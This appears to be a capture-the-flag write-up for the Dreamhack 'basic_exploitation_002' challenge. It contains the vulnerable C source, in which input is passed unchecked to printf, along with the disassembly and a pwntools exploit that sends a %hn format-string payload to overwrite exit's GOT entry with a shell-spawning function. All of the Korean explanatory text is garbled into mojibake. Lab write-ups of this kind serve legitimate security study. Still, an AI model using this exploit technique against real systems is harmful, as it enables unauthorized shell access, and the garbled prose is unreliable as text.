[Pwnable] Basic_exploitation_002
1. Code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
2. Write Up
์ฝ๋๋ฅผ ๋ณด๋ฉด, buf ๋ฅผ 0x80 ๋งํผ ๋ฐ๊ณ , read ๋ 0x80๋งํผ ํ๊ธฐ ๋๋ฌธ์ BoF๋ ์๋๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
๊ทธ ๋ค์ printf ๋ฅผ ๋ณด๋ฉด ์์ ๋ฌธ์ ์์ด ์ถ๋ ฅํ๊ธฐ ๋๋ฌธ์ ์ด ๋ถ๋ถ์์ Format string bug ๊ฐ ๋ฐ์ํ๊ฒ ๋๋ค.
0x0804861c <+0>: push %ebp
0x0804861d <+1>: mov %esp,%ebp
0x0804861f <+3>: add $0xffffff80,%esp
0x08048622 <+6>: call 0x80485c2 <initialize>
0x08048627 <+11>: push $0x80
0x0804862c <+16>: lea -0x80(%ebp),%eax
0x0804862f <+19>: push %eax
0x08048630 <+20>: push $0x0
0x08048632 <+22>: call 0x8048410 <read@plt>
0x08048637 <+27>: add $0xc,%esp
0x0804863a <+30>: lea -0x80(%ebp),%eax
0x0804863d <+33>: push %eax
0x0804863e <+34>: call 0x8048420 <printf@plt>
0x08048643 <+39>: add $0x4,%esp
0x08048646 <+42>: push $0x0
0x08048648 <+44>: call 0x8048470 <exit@plt>
์ฌ๊ธฐ์ NX ๋ณดํธ ๊ธฐ๋ฒ์ด ํ์ฑํ๋์ด์๊ธฐ ๋๋ฌธ์ ์ ์ฝ๋ ์คํ์ ๋ถ๊ฐํ๊ณ ,
RELRO๊ฐ Partial ๋ก ๋์ด์๊ธฐ ๋๋ฌธ์ GOT Overwrite ๋ฅผ ํด์ผ๋๋ค๋ ์ ์ ์ ์ถํ ์ ์๋ค.
๋๋ฒ๊น ์ ํด์ exit_got ์ฃผ์๋ฅผ get_shell ์ฃผ์๋ก ๋ฎ์ด์ผ ํ๊ธฐ ๋๋ฌธ์ ์ฃผ์๋ฅผ ์ฐพ์์ค๋ค.
- PLT๋ ์ฝ๋, GOT๋ ์ฃผ์๊ฐ์ด ์ ์ฅ๋์ด ์๊ธฐ ๋๋ฌธ์
* Exploit Code
from pwn import *
p = remote("host3.dreamhack.games", 22617)
e = ELF("./basic_exploitation_002")
get_shell = 0x8048609
exit = 0x804a024
payload = p32(exit+2) + p32(exit) + b"%2044c%1$hn%32261c%2$hn"
p.sendline(payload)
p.interactive()
๊ตฌ์กฐ๋ฅผ ์ดํด๋ณด๋ฉด, exit GOT ์ฃผ์ ์์ฑ์ ํด์ค ๋ค get_shell์ ์ฃผ์๋ฅผ ์ธ์๋ก ๋ณด๋ด์ฃผ์๋ค.
%n์ 4๋ฐ์ดํธ์ฉ ์ธ์์ ๋๊ฒจ์ฃผ๋๋ฐ, get_shell์ ์ฃผ์๋ ๊ฐ์ด ํฌ๊ธฐ ๋๋ฌธ์ 2๋ฐ์ดํธ์ฉ ๋๋ ์ ์ ์กํ๊ธฐ ์ํด
$hn ๋ฅผ ์ฌ์ฉํ๋ค. ์ด ๋ถ๋ถ์ FSB ์์ ๋ง์ด ์ฌ์ฉ๋๋ ๊ธฐ๋ฅ์ด๊ธฐ ๋๋ฌธ์ ๊ผญ ๊ธฐ์ต!
- %1$hn์ ์ฒ์ 2๋ฐ์ดํธ๋ง, %2$hn๋ ๊ทธ ๋ค์ 2๋ฐ์ดํธ ์ด๋ฐ์์ผ๋ก
exit_got : 0x8609
exit_got + 2 : 0x804
์ด๋ฏ๋ก,
0x804 - 0x8 = 2044 (exit GOT ์ฃผ์ ์์ฑ์ 8 ๋ฐ์ดํธ๋ฅผ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์0
0x8609 - 0x804 = 32261
→ ์ด ๋ถ๋ถ์์ ๊ณ์ ํค๋งธ๋คใ ใ